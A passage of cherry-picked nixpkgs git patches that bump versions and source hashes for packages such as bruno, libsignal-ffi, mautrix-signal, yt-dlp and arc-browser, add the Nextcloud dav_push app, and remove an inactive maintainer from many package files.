-  npmDepsHash = "sha256-ZUZZWnp10Z4vQTZTTPenAXXpez6WbmB/S1VBiARuNP4=";
+  npmDepsHash = "sha256-AA+f6xVd1hmZUum7AlhHivqNez7xP1kEd/GXd798QCI=";
   npmFlags = [ "--legacy-peer-deps" ];
 
   nativeBuildInputs =

From 03fd63e92cc49590206d3e89ae19f688bbd0f256 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 21 Jun 2025 04:18:21 +0000
Subject: [PATCH 1606/4511] bruno: 2.5.0 -> 2.6.1

(cherry picked from commit 7edecd356925703b5af018c79a36726b1e4d555b)
---
 pkgs/by-name/br/bruno/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/br/bruno/package.nix b/pkgs/by-name/br/bruno/package.nix
index 45f3d2d7856c..a9e3b9577ba7 100644
--- a/pkgs/by-name/br/bruno/package.nix
+++ b/pkgs/by-name/br/bruno/package.nix
@@ -19,20 +19,20 @@
 
 buildNpmPackage rec {
   pname = "bruno";
-  version = "2.5.0";
+  version = "2.6.1";
 
   src = fetchFromGitHub {
     owner = "usebruno";
     repo = "bruno";
     tag = "v${version}";
-    hash = "sha256-5kCYKktD71LdknIITSXzl/r5IRUyBUCKL9mmjsMwYRI=";
+    hash = "sha256-GR/TmBuZbt/8cB9gtRPgzSVnzdrB1BKhYjahfJ3ErgQ=";
 
     postFetch = ''
       ${lib.getExe npm-lockfile-fix} $out/package-lock.json
     '';
   };
 
-  npmDepsHash = "sha256-AA+f6xVd1hmZUum7AlhHivqNez7xP1kEd/GXd798QCI=";
+  npmDepsHash = "sha256-/u7xyd1+RXNN7khVOglzYGMCI+fPjyiuSF2BSZAqEtI=";
   npmFlags = [ "--legacy-peer-deps" ];
 
   nativeBuildInputs =

From 5f1f5dda5727d71539b4ddb806d72fa21900d447 Mon Sep 17 00:00:00 2001
From: SchweGELBin <abramjannikmichael06@gmail.com>
Date: Fri, 20 Jun 2025 22:46:54 +0200
Subject: [PATCH 1607/4511] libsignal-ffi: 0.72.1 -> 0.74.1

(cherry picked from commit 02ddaae66e2be7388d5f902098c5c04c13aec84e)
---
 pkgs/by-name/li/libsignal-ffi/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/li/libsignal-ffi/package.nix b/pkgs/by-name/li/libsignal-ffi/package.nix
index f3bbfcc1fbfb..fb1062aed4d3 100644
--- a/pkgs/by-name/li/libsignal-ffi/package.nix
+++ b/pkgs/by-name/li/libsignal-ffi/package.nix
@@ -21,14 +21,14 @@ rustPlatform.buildRustPackage rec {
   pname = "libsignal-ffi";
   # must match the version used in mautrix-signal
   # see https://github.com/mautrix/signal/issues/401
-  version = "0.72.1";
+  version = "0.74.1";
 
   src = fetchFromGitHub {
     fetchSubmodules = true;
     owner = "signalapp";
     repo = "libsignal";
     tag = "v${version}";
-    hash = "sha256-A8EAHHcBFSD4ZlvFig64g4+eoZQCuqE/qv509hA3I4s=";
+    hash = "sha256-ZMi+/d051CS7TcWVZnVItNpok0ac+vAvvZL/buNrtL0=";
   };
 
   nativeBuildInputs = [
@@ -40,7 +40,7 @@ rustPlatform.buildRustPackage rec {
   env.NIX_LDFLAGS = if stdenv.hostPlatform.isDarwin then "-lc++" else "-lstdc++";
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-+vJrywIi/RcGGGns42XlN6S63RBil3fB4XByTLsaFVc=";
+  cargoHash = "sha256-pRMFWJSRjhZYfX7dmOQXK3BjhJKzPR1Pg+TZzTfPnd4=";
 
   cargoBuildFlags = [
     "-p"

From e5a6776a05572cf7837c7c58883655fd824b9127 Mon Sep 17 00:00:00 2001
From: SchweGELBin <abramjannikmichael06@gmail.com>
Date: Fri, 20 Jun 2025 22:47:03 +0200
Subject: [PATCH 1608/4511] mautrix-signal: 0.8.3 -> 0.8.4

(cherry picked from commit b90cc0be55bb9d8c7877fc5b9c10d0f66c5a721a)
---
 pkgs/by-name/ma/mautrix-signal/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/mautrix-signal/package.nix b/pkgs/by-name/ma/mautrix-signal/package.nix
index d8fce63454ed..0e768a5a695d 100644
--- a/pkgs/by-name/ma/mautrix-signal/package.nix
+++ b/pkgs/by-name/ma/mautrix-signal/package.nix
@@ -19,13 +19,13 @@ let
 in
 buildGoModule rec {
   pname = "mautrix-signal";
-  version = "0.8.3";
+  version = "0.8.4";
 
   src = fetchFromGitHub {
     owner = "mautrix";
     repo = "signal";
     tag = "v${version}";
-    hash = "sha256-BummgGQ+LNe4JYJHF4a2JfKEzgo7wVEMnAIbi1D0hS0=";
+    hash = "sha256-8F9wk83F3wB9vXvAFz4IiBmGbDOp/SyqQkYnhHPlYj0=";
   };
 
   buildInputs =
@@ -41,7 +41,7 @@ buildGoModule rec {
 
   CGO_LDFLAGS = lib.optional withGoolm [ cppStdLib ];
 
-  vendorHash = "sha256-aJrcX2aK4Ge7yELEssoVdsrR+/2qoqTr3usRFGooLGU=";
+  vendorHash = "sha256-0eh1PaExf87zJ4E/ix1Mjcx2Sms6qNAFc8LD80A5n7M=";
 
   doCheck = true;
   preCheck =

From 5d951bcc49b170fffb1332b84164ea23981bbf87 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 26 Jun 2025 10:41:58 +0000
Subject: [PATCH 1609/4511] postgresqlPackages.pg_net: 0.15.1 -> 0.16.0

(cherry picked from commit a580f7e5f0953d547aac6e9a8c984adc21c8c7a0)
---
 pkgs/servers/sql/postgresql/ext/pg_net.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pg_net.nix b/pkgs/servers/sql/postgresql/ext/pg_net.nix
index 5ac42c9bb499..b3d24025c2b9 100644
--- a/pkgs/servers/sql/postgresql/ext/pg_net.nix
+++ b/pkgs/servers/sql/postgresql/ext/pg_net.nix
@@ -8,13 +8,13 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "pg_net";
-  version = "0.15.1";
+  version = "0.16.0";
 
   src = fetchFromGitHub {
     owner = "supabase";
     repo = "pg_net";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-BhLZdoMeK6QkmEEn3/+G6+TElFea2uifaQBW5aftqpM=";
+    hash = "sha256-Jtb4jGvci70Yb6YoEsr8sSHz30kFeYFitnLjtJK1CGI=";
   };
 
   buildInputs = [ curl ];

From 3127468585623eeb2acfe9bd6d069310ce9376c5 Mon Sep 17 00:00:00 2001
From: provokateurin <kate@provokateurin.de>
Date: Mon, 23 Jun 2025 17:16:01 +0200
Subject: [PATCH 1610/4511] nextcloudPackages.dav_push: init at 0.0.3

(cherry picked from commit 3d5bea05a9c4263db0c5d6864f44693a6ef2444b)
---
 pkgs/servers/nextcloud/packages/30.json             | 10 ++++++++++
 pkgs/servers/nextcloud/packages/31.json             | 10 ++++++++++
 pkgs/servers/nextcloud/packages/nextcloud-apps.json |  1 +
 3 files changed, 21 insertions(+)

diff --git a/pkgs/servers/nextcloud/packages/30.json b/pkgs/servers/nextcloud/packages/30.json
index 797455c8014b..7dea912fb89e 100644
--- a/pkgs/servers/nextcloud/packages/30.json
+++ b/pkgs/servers/nextcloud/packages/30.json
@@ -69,6 +69,16 @@
       "agpl"
     ]
   },
+  "dav_push": {
+    "hash": "sha256-+Ji6xYFudC5ds4YLJnzZ34v7Ct615CdtkZPyq8iTsdA=",
+    "url": "https://github.com/bitfireAT/nc_ext_dav_push/releases/download/v0.0.3/dav_push.tar.gz",
+    "version": "0.0.3",
+    "description": "**This extension is in a very early stage of development. It is for demonstration and testing purposes only. Don't use it on production systems!**\n\nIn proprietary environments, changes in events and contacts are nowadays usually pushed to other clients so that they can update their views almost in real-time.\n\nWebDAV however (and in this context, especially CalDAV and CardDAV) doesn't currently support push notifications of clients when a collection has changed. So clients have to periodically ask the server for changes. This causes unnecessary delays and battery usage.\n\nThe WebDAV-Push standard, which is currently in development, wants to solve this problem with an open protocol, too.\n\nThis is the server part of these efforts to draft a standard and provide a working implementation (server + client) in order to demonstrate it.\n\n\nThe current WebDAV-Push draft is provided by [@bitfireAT](https://github.com/bitfireAT).\n          \nThis Nextcloud extension has been developed by [@verdigado](https://github.com/verdigado).",
+    "homepage": "",
+    "licenses": [
+      "agpl"
+    ]
+  },
   "deck": {
     "hash": "sha256-A2n68T7x4la4VrMwsBMIWk6LWM4nge9FtQhl5eLp8jQ=",
     "url": "https://github.com/nextcloud-releases/deck/releases/download/v1.14.5/deck-v1.14.5.tar.gz",
diff --git a/pkgs/servers/nextcloud/packages/31.json b/pkgs/servers/nextcloud/packages/31.json
index dfa8dbdd3f90..4830aba6c08c 100644
--- a/pkgs/servers/nextcloud/packages/31.json
+++ b/pkgs/servers/nextcloud/packages/31.json
@@ -69,6 +69,16 @@
       "agpl"
     ]
   },
+  "dav_push": {
+    "hash": "sha256-+Ji6xYFudC5ds4YLJnzZ34v7Ct615CdtkZPyq8iTsdA=",
+    "url": "https://github.com/bitfireAT/nc_ext_dav_push/releases/download/v0.0.3/dav_push.tar.gz",
+    "version": "0.0.3",
+    "description": "**This extension is in a very early stage of development. It is for demonstration and testing purposes only. Don't use it on production systems!**\n\nIn proprietary environments, changes in events and contacts are nowadays usually pushed to other clients so that they can update their views almost in real-time.\n\nWebDAV however (and in this context, especially CalDAV and CardDAV) doesn't currently support push notifications of clients when a collection has changed. So clients have to periodically ask the server for changes. This causes unnecessary delays and battery usage.\n\nThe WebDAV-Push standard, which is currently in development, wants to solve this problem with an open protocol, too.\n\nThis is the server part of these efforts to draft a standard and provide a working implementation (server + client) in order to demonstrate it.\n\n\nThe current WebDAV-Push draft is provided by [@bitfireAT](https://github.com/bitfireAT).\n          \nThis Nextcloud extension has been developed by [@verdigado](https://github.com/verdigado).",
+    "homepage": "",
+    "licenses": [
+      "agpl"
+    ]
+  },
   "deck": {
     "hash": "sha256-VUdHoLYyCg7DsNu2LYZelmcHM4B0cfkH8PwcTK844mo=",
     "url": "https://github.com/nextcloud-releases/deck/releases/download/v1.15.1/deck-v1.15.1.tar.gz",
diff --git a/pkgs/servers/nextcloud/packages/nextcloud-apps.json b/pkgs/servers/nextcloud/packages/nextcloud-apps.json
index 0b406f9a7ed6..9789c1f61cea 100644
--- a/pkgs/servers/nextcloud/packages/nextcloud-apps.json
+++ b/pkgs/servers/nextcloud/packages/nextcloud-apps.json
@@ -6,6 +6,7 @@
 , "contacts": "agpl3Plus"
 , "cookbook": "agpl3Plus"
 , "cospend": "agpl3Plus"
+, "dav_push": "agpl3Plus"
 , "deck": "agpl3Plus"
 , "end_to_end_encryption": "agpl3Plus"
 , "files_automatedtagging" : "agpl3Plus"

From fd5021c7a70ea972f1d8d1f84a91b28a548b2092 Mon Sep 17 00:00:00 2001
From: Jost Alemann <alemann@posteo.com>
Date: Thu, 26 Jun 2025 11:01:38 +0200
Subject: [PATCH 1611/4511] yt-dlp: 2025.6.9 -> 2025.6.25

Changelog: https://github.com/yt-dlp/yt-dlp/releases/tag/2025.06.25
Diff: https://github.com/yt-dlp/yt-dlp/compare/2025.06.09...2025.06.25
(cherry picked from commit 070d25ed17784485dcedb36e45954b513fc5a2c3)
---
 pkgs/by-name/yt/yt-dlp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index 8cfe41d577f1..aa54eead14af 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -17,13 +17,13 @@ python3Packages.buildPythonApplication rec {
   # The websites yt-dlp deals with are a very moving target. That means that
   # downloads break constantly. Because of that, updates should always be backported
   # to the latest stable release.
-  version = "2025.6.9";
+  version = "2025.6.25";
   pyproject = true;
 
   src = fetchPypi {
     inherit version;
     pname = "yt_dlp";
-    hash = "sha256-dR9To7YTU1Ir+AX6MLvL0WZmEmU345cG6rT4w2jxEaw=";
+    hash = "sha256-JCtkjhoYqwS91MwXWjF/6Ow619AXXu6fmBkSYks9bIs=";
   };
 
   build-system = with python3Packages; [

From b1196ec67b26b906799ce6a76780fee5da77ce42 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Thu, 26 Jun 2025 01:45:04 +0300
Subject: [PATCH 1612/4511] arc-browser: 1.97.0-63507 -> 1.100.0-64467

(cherry picked from commit b9e211a25e9903ed8d12402cbb77e7eddffe2b76)
---
 pkgs/by-name/ar/arc-browser/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ar/arc-browser/package.nix b/pkgs/by-name/ar/arc-browser/package.nix
index 4b99df96fc20..46d81dac6e60 100644
--- a/pkgs/by-name/ar/arc-browser/package.nix
+++ b/pkgs/by-name/ar/arc-browser/package.nix
@@ -10,11 +10,11 @@
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "arc-browser";
-  version = "1.97.0-63507";
+  version = "1.100.0-64467";
 
   src = fetchurl {
     url = "https://releases.arc.net/release/Arc-${finalAttrs.version}.dmg";
-    hash = "sha256-8HdPyJJT1boiMpflIe6wX4oOTqw4oKm982gm1Ei8h4w=";
+    hash = "sha256-fMC35haQOB/YY5EbnvusTOiNbck7Vo9rmM6whVp8l80=";
   };
 
   nativeBuildInputs = [ undmg ];

From 590f165c9093e037c5a55b58f00f1478621c7255 Mon Sep 17 00:00:00 2001
From: Vincent Laporte <Vincent.Laporte@gmail.com>
Date: Mon, 23 Jun 2025 06:35:36 +0200
Subject: [PATCH 1613/4511] =?UTF-8?q?ocamlPackages.ppx=5Fexpect:=200.17.0?=
 =?UTF-8?q?=20=E2=86=92=200.17.2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(cherry picked from commit 480755c2f1099212e4ecbbb5d1a416e6f62b8942)
---
 pkgs/development/ocaml-modules/janestreet/0.17.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/ocaml-modules/janestreet/0.17.nix b/pkgs/development/ocaml-modules/janestreet/0.17.nix
index 34ede80d771c..062501dd133a 100644
--- a/pkgs/development/ocaml-modules/janestreet/0.17.nix
+++ b/pkgs/development/ocaml-modules/janestreet/0.17.nix
@@ -1224,7 +1224,8 @@ with self;
 
   ppx_expect = janePackage {
     pname = "ppx_expect";
-    hash = "sha256-m4Nr48ZET632I6vw5RjpNA0elW3lpN3aPmfA3RzsEn8=";
+    version = "0.17.2";
+    hash = "sha256-na9n/+shkiHIIUQ2ZitybQ6NNsSS9gWFNAFxij+JNVo=";
     meta.description = "Cram like framework for OCaml";
     propagatedBuildInputs = [
       ppx_here

From 06435cadd6913019ad866518edf3e496e4fb7e16 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sun, 15 Jun 2025 17:18:06 -0400
Subject: [PATCH 1614/4511] treewide: remove astsmtl as maintainer

Inactive for a few years.

(cherry picked from commit d606025d4b5ffad63f02781396c4bc79935a0ba8)
---
 pkgs/applications/audio/guitarix/default.nix        | 1 -
 pkgs/applications/misc/goldendict/default.nix       | 1 -
 pkgs/applications/networking/p2p/transmission/4.nix | 1 -
 pkgs/by-name/al/alienarena/package.nix              | 1 -
 pkgs/by-name/ap/apg/package.nix                     | 1 -
 pkgs/by-name/ca/caps/package.nix                    | 1 -
 pkgs/by-name/li/libcue/package.nix                  | 1 -
 pkgs/by-name/li/libmikmod/package.nix               | 1 -
 pkgs/by-name/m1/m17n_db/package.nix                 | 1 -
 pkgs/by-name/ma/mars/package.nix                    | 1 -
 pkgs/by-name/qu/quesoglc/package.nix                | 1 -
 pkgs/by-name/ry/rymcast/package.nix                 | 1 -
 pkgs/by-name/sa/sakura/package.nix                  | 1 -
 pkgs/by-name/sf/sfml_2/package.nix                  | 1 -
 pkgs/by-name/te/teeworlds/package.nix               | 1 -
 pkgs/by-name/te/terminus_font/package.nix           | 1 -
 pkgs/by-name/tr/transmission_3/package.nix          | 1 -
 pkgs/by-name/ur/urbanterror/package.nix             | 1 -
 pkgs/by-name/vt/vte/package.nix                     | 1 -
 pkgs/by-name/wa/warzone2100/package.nix             | 1 -
 pkgs/games/oilrush/default.nix                      | 1 -
 pkgs/games/warsow/default.nix                       | 1 -
 pkgs/games/warsow/engine.nix                        | 1 -
 pkgs/games/xonotic/default.nix                      | 1 -
 pkgs/misc/screensavers/slock/default.nix            | 1 -
 pkgs/servers/mpd/default.nix                        | 1 -
 pkgs/tools/inputmethods/m17n-lib/default.nix        | 1 -
 pkgs/tools/misc/qjoypad/default.nix                 | 1 -
 28 files changed, 28 deletions(-)

diff --git a/pkgs/applications/audio/guitarix/default.nix b/pkgs/applications/audio/guitarix/default.nix
index e565605721a8..35df0699b260 100644
--- a/pkgs/applications/audio/guitarix/default.nix
+++ b/pkgs/applications/audio/guitarix/default.nix
@@ -133,7 +133,6 @@ stdenv.mkDerivation (finalAttrs: {
     homepage = "https://github.com/brummer10/guitarix";
     license = licenses.gpl3Plus;
     maintainers = with maintainers; [
-      astsmtl
       lord-valen
     ];
     platforms = platforms.linux;
diff --git a/pkgs/applications/misc/goldendict/default.nix b/pkgs/applications/misc/goldendict/default.nix
index 3a75f783aa51..241207e275c5 100644
--- a/pkgs/applications/misc/goldendict/default.nix
+++ b/pkgs/applications/misc/goldendict/default.nix
@@ -110,7 +110,6 @@ stdenv.mkDerivation rec {
     platforms = with platforms; linux ++ darwin;
     mainProgram = "goldendict";
     maintainers = with maintainers; [
-      astsmtl
       sikmir
     ];
     license = licenses.gpl3Plus;
diff --git a/pkgs/applications/networking/p2p/transmission/4.nix b/pkgs/applications/networking/p2p/transmission/4.nix
index 30614b8b7f1f..5a303aa17a94 100644
--- a/pkgs/applications/networking/p2p/transmission/4.nix
+++ b/pkgs/applications/networking/p2p/transmission/4.nix
@@ -228,7 +228,6 @@ stdenv.mkDerivation (finalAttrs: {
       gpl2Plus
       mit
     ];
-    maintainers = with maintainers; [ astsmtl ];
     platforms = platforms.unix;
   };
 })
diff --git a/pkgs/by-name/al/alienarena/package.nix b/pkgs/by-name/al/alienarena/package.nix
index 06982ef32274..1ec09cacb767 100644
--- a/pkgs/by-name/al/alienarena/package.nix
+++ b/pkgs/by-name/al/alienarena/package.nix
@@ -60,7 +60,6 @@ stdenv.mkDerivation rec {
     homepage = "https://alienarena.org";
     # Engine is under GPLv2, everything else is under
     license = licenses.unfreeRedistributable;
-    maintainers = with maintainers; [ astsmtl ];
     platforms = platforms.linux;
     hydraPlatforms = [ ];
   };
diff --git a/pkgs/by-name/ap/apg/package.nix b/pkgs/by-name/ap/apg/package.nix
index 67dd781e75f2..6e9f75e175fe 100644
--- a/pkgs/by-name/ap/apg/package.nix
+++ b/pkgs/by-name/ap/apg/package.nix
@@ -67,7 +67,6 @@ stdenv.mkDerivation {
     '';
     homepage = "https://github.com/wilx/apg";
     license = lib.licenses.bsd3;
-    maintainers = with lib.maintainers; [ astsmtl ];
     platforms = lib.platforms.unix;
   };
 }
diff --git a/pkgs/by-name/ca/caps/package.nix b/pkgs/by-name/ca/caps/package.nix
index 4c58ee2c316c..1e37af40dbac 100644
--- a/pkgs/by-name/ca/caps/package.nix
+++ b/pkgs/by-name/ca/caps/package.nix
@@ -28,7 +28,6 @@ stdenv.mkDerivation rec {
     '';
     homepage = "http://www.quitte.de/dsp/caps.html";
     license = lib.licenses.gpl3;
-    maintainers = [ lib.maintainers.astsmtl ];
     platforms = lib.platforms.linux;
   };
 }
diff --git a/pkgs/by-name/li/libcue/package.nix b/pkgs/by-name/li/libcue/package.nix
index e21cbea72161..b2daf4d239be 100644
--- a/pkgs/by-name/li/libcue/package.nix
+++ b/pkgs/by-name/li/libcue/package.nix
@@ -35,7 +35,6 @@ stdenv.mkDerivation rec {
     '';
     homepage = "https://github.com/lipnitsk/libcue";
     license = licenses.gpl2Only;
-    maintainers = with maintainers; [ astsmtl ];
     platforms = platforms.unix;
   };
 }
diff --git a/pkgs/by-name/li/libmikmod/package.nix b/pkgs/by-name/li/libmikmod/package.nix
index 4193e5e65e0c..04f8ba210dc6 100644
--- a/pkgs/by-name/li/libmikmod/package.nix
+++ b/pkgs/by-name/li/libmikmod/package.nix
@@ -41,7 +41,6 @@ stdenv.mkDerivation rec {
     homepage = "https://mikmod.shlomifish.org/";
     license = licenses.lgpl2Plus;
     maintainers = with maintainers; [
-      astsmtl
       lovek323
     ];
     platforms = platforms.unix;
diff --git a/pkgs/by-name/m1/m17n_db/package.nix b/pkgs/by-name/m1/m17n_db/package.nix
index a24093cb4b48..0102cb834d3f 100644
--- a/pkgs/by-name/m1/m17n_db/package.nix
+++ b/pkgs/by-name/m1/m17n_db/package.nix
@@ -36,6 +36,5 @@ stdenv.mkDerivation rec {
     }";
     license = lib.licenses.lgpl21Plus;
     platforms = lib.platforms.linux;
-    maintainers = with lib.maintainers; [ astsmtl ];
   };
 }
diff --git a/pkgs/by-name/ma/mars/package.nix b/pkgs/by-name/ma/mars/package.nix
index b69fadb84de1..ee1d0ae00095 100644
--- a/pkgs/by-name/ma/mars/package.nix
+++ b/pkgs/by-name/ma/mars/package.nix
@@ -52,7 +52,6 @@ stdenv.mkDerivation {
     homepage = "https://mars-game.sourceforge.net/";
     description = "Game about fighting with ships in a 2D space setting";
     license = lib.licenses.gpl3Plus;
-    maintainers = [ lib.maintainers.astsmtl ];
     platforms = lib.platforms.linux;
     mainProgram = "mars";
   };
diff --git a/pkgs/by-name/qu/quesoglc/package.nix b/pkgs/by-name/qu/quesoglc/package.nix
index caf85dd1e926..6bde1ed4e46e 100644
--- a/pkgs/by-name/qu/quesoglc/package.nix
+++ b/pkgs/by-name/qu/quesoglc/package.nix
@@ -49,7 +49,6 @@ stdenv.mkDerivation (finalAttrs: {
     '';
     homepage = "https://quesoglc.sourceforge.net/";
     license = lib.licenses.lgpl21Plus;
-    maintainers = with lib.maintainers; [ astsmtl ];
     platforms = lib.platforms.linux;
   };
 })
diff --git a/pkgs/by-name/ry/rymcast/package.nix b/pkgs/by-name/ry/rymcast/package.nix
index 4f6fd4b060ae..26d8d851fd24 100644
--- a/pkgs/by-name/ry/rymcast/package.nix
+++ b/pkgs/by-name/ry/rymcast/package.nix
@@ -48,6 +48,5 @@ stdenv.mkDerivation rec {
     sourceProvenance = with sourceTypes; [ binaryNativeCode ];
     license = licenses.unfree;
     platforms = [ "x86_64-linux" ];
-    maintainers = with maintainers; [ astsmtl ];
   };
 }
diff --git a/pkgs/by-name/sa/sakura/package.nix b/pkgs/by-name/sa/sakura/package.nix
index 4b2687dd98a8..6b1f56587b2b 100644
--- a/pkgs/by-name/sa/sakura/package.nix
+++ b/pkgs/by-name/sa/sakura/package.nix
@@ -68,7 +68,6 @@ stdenv.mkDerivation (finalAttrs: {
     '';
     license = lib.licenses.gpl2Only;
     maintainers = with lib.maintainers; [
-      astsmtl
       codyopel
     ];
     platforms = lib.platforms.linux;
diff --git a/pkgs/by-name/sf/sfml_2/package.nix b/pkgs/by-name/sf/sfml_2/package.nix
index 577952e20064..eed96f2bed01 100644
--- a/pkgs/by-name/sf/sfml_2/package.nix
+++ b/pkgs/by-name/sf/sfml_2/package.nix
@@ -67,7 +67,6 @@ stdenv.mkDerivation (finalAttrs: {
       It is written in C++, and has bindings for various languages such as C, .Net, Ruby, Python.
     '';
     license = lib.licenses.zlib;
-    maintainers = [ lib.maintainers.astsmtl ];
     platforms = lib.platforms.unix;
     badPlatforms = [
       # error: implicit instantiation of undefined template 'std::char_traits<unsigned int>'
diff --git a/pkgs/by-name/te/teeworlds/package.nix b/pkgs/by-name/te/teeworlds/package.nix
index 22e9476f1e6d..6147fff6b7b0 100644
--- a/pkgs/by-name/te/teeworlds/package.nix
+++ b/pkgs/by-name/te/teeworlds/package.nix
@@ -142,7 +142,6 @@ stdenv.mkDerivation rec {
       # zlib src/engine/external/zlib/
     ];
     maintainers = with lib.maintainers; [
-      astsmtl
       Luflosi
     ];
     platforms = lib.platforms.unix;
diff --git a/pkgs/by-name/te/terminus_font/package.nix b/pkgs/by-name/te/terminus_font/package.nix
index 9727a61e835b..7236c493bbcf 100644
--- a/pkgs/by-name/te/terminus_font/package.nix
+++ b/pkgs/by-name/te/terminus_font/package.nix
@@ -56,6 +56,5 @@ stdenv.mkDerivation rec {
     '';
     homepage = "https://terminus-font.sourceforge.net/";
     license = licenses.gpl2Plus;
-    maintainers = with maintainers; [ astsmtl ];
   };
 }
diff --git a/pkgs/by-name/tr/transmission_3/package.nix b/pkgs/by-name/tr/transmission_3/package.nix
index 96530f98f980..99f4928a8c1c 100644
--- a/pkgs/by-name/tr/transmission_3/package.nix
+++ b/pkgs/by-name/tr/transmission_3/package.nix
@@ -170,7 +170,6 @@ stdenv.mkDerivation (finalAttrs: {
     '';
     homepage = "http://www.transmissionbt.com/";
     license = lib.licenses.gpl2Plus; # parts are under MIT
-    maintainers = with lib.maintainers; [ astsmtl ];
     platforms = lib.platforms.unix;
   };
 
diff --git a/pkgs/by-name/ur/urbanterror/package.nix b/pkgs/by-name/ur/urbanterror/package.nix
index fc54bcfc0901..9418695c9be8 100644
--- a/pkgs/by-name/ur/urbanterror/package.nix
+++ b/pkgs/by-name/ur/urbanterror/package.nix
@@ -116,7 +116,6 @@ stdenv.mkDerivation {
     '';
     mainProgram = "urbanterror";
     maintainers = with lib.maintainers; [
-      astsmtl
       drupol
     ];
     platforms = lib.platforms.linux;
diff --git a/pkgs/by-name/vt/vte/package.nix b/pkgs/by-name/vt/vte/package.nix
index d8a5c60284ca..4569a20e1fc9 100644
--- a/pkgs/by-name/vt/vte/package.nix
+++ b/pkgs/by-name/vt/vte/package.nix
@@ -164,7 +164,6 @@ stdenv.mkDerivation (finalAttrs: {
     '';
     license = licenses.lgpl3Plus;
     maintainers = with maintainers; [
-      astsmtl
       antono
     ];
     teams = [ teams.gnome ];
diff --git a/pkgs/by-name/wa/warzone2100/package.nix b/pkgs/by-name/wa/warzone2100/package.nix
index 972c3a4e2505..fc97e6d884da 100644
--- a/pkgs/by-name/wa/warzone2100/package.nix
+++ b/pkgs/by-name/wa/warzone2100/package.nix
@@ -141,7 +141,6 @@ stdenv.mkDerivation (finalAttrs: {
     homepage = "https://wz2100.net";
     license = licenses.gpl2Plus;
     maintainers = with maintainers; [
-      astsmtl
       fgaz
     ];
     platforms = platforms.all;
diff --git a/pkgs/games/oilrush/default.nix b/pkgs/games/oilrush/default.nix
index 080fd3053b1f..e68c990512be 100644
--- a/pkgs/games/oilrush/default.nix
+++ b/pkgs/games/oilrush/default.nix
@@ -130,7 +130,6 @@ stdenv.mkDerivation {
     '';
     homepage = "http://oilrush-game.com/";
     license = lib.licenses.unfree;
-    #maintainers = with lib.maintainers; [ astsmtl ];
     platforms = lib.platforms.linux;
     hydraPlatforms = [ ];
     sourceProvenance = [ lib.sourceTypes.binaryNativeCode ];
diff --git a/pkgs/games/warsow/default.nix b/pkgs/games/warsow/default.nix
index 57fe262babd4..d586265e581e 100644
--- a/pkgs/games/warsow/default.nix
+++ b/pkgs/games/warsow/default.nix
@@ -39,7 +39,6 @@ stdenv.mkDerivation rec {
     homepage = "http://www.warsow.net";
     license = licenses.unfreeRedistributable;
     maintainers = with maintainers; [
-      astsmtl
       abbradar
     ];
     platforms = warsow-engine.meta.platforms;
diff --git a/pkgs/games/warsow/engine.nix b/pkgs/games/warsow/engine.nix
index e2c4e3bd020a..4fa5dfad7e5b 100644
--- a/pkgs/games/warsow/engine.nix
+++ b/pkgs/games/warsow/engine.nix
@@ -87,7 +87,6 @@ stdenv.mkDerivation {
     homepage = "http://www.warsow.net";
     license = licenses.gpl2Plus;
     maintainers = with maintainers; [
-      astsmtl
       abbradar
     ];
     platforms = platforms.linux;
diff --git a/pkgs/games/xonotic/default.nix b/pkgs/games/xonotic/default.nix
index 68687b9756a1..389418a1b152 100644
--- a/pkgs/games/xonotic/default.nix
+++ b/pkgs/games/xonotic/default.nix
@@ -64,7 +64,6 @@ let
     homepage = "https://www.xonotic.org/";
     license = lib.licenses.gpl2Plus;
     maintainers = with lib.maintainers; [
-      astsmtl
       zalakain
     ];
     platforms = lib.platforms.linux;
diff --git a/pkgs/misc/screensavers/slock/default.nix b/pkgs/misc/screensavers/slock/default.nix
index 99c2372f09b9..235b9fac71a6 100644
--- a/pkgs/misc/screensavers/slock/default.nix
+++ b/pkgs/misc/screensavers/slock/default.nix
@@ -55,7 +55,6 @@ stdenv.mkDerivation (finalAttrs: {
     '';
     license = licenses.mit;
     maintainers = with maintainers; [
-      astsmtl
       qusic
     ];
     platforms = platforms.linux;
diff --git a/pkgs/servers/mpd/default.nix b/pkgs/servers/mpd/default.nix
index b80a481a3113..1ab72a4c2c48 100644
--- a/pkgs/servers/mpd/default.nix
+++ b/pkgs/servers/mpd/default.nix
@@ -270,7 +270,6 @@ let
         homepage = "https://www.musicpd.org/";
         license = licenses.gpl2Only;
         maintainers = with maintainers; [
-          astsmtl
           tobim
         ];
         platforms = platforms.unix;
diff --git a/pkgs/tools/inputmethods/m17n-lib/default.nix b/pkgs/tools/inputmethods/m17n-lib/default.nix
index f40be071b0b9..dbfb4fc7534b 100644
--- a/pkgs/tools/inputmethods/m17n-lib/default.nix
+++ b/pkgs/tools/inputmethods/m17n-lib/default.nix
@@ -32,6 +32,5 @@ stdenv.mkDerivation rec {
     description = "Multilingual text processing library (runtime)";
     license = lib.licenses.lgpl21Plus;
     platforms = lib.platforms.linux;
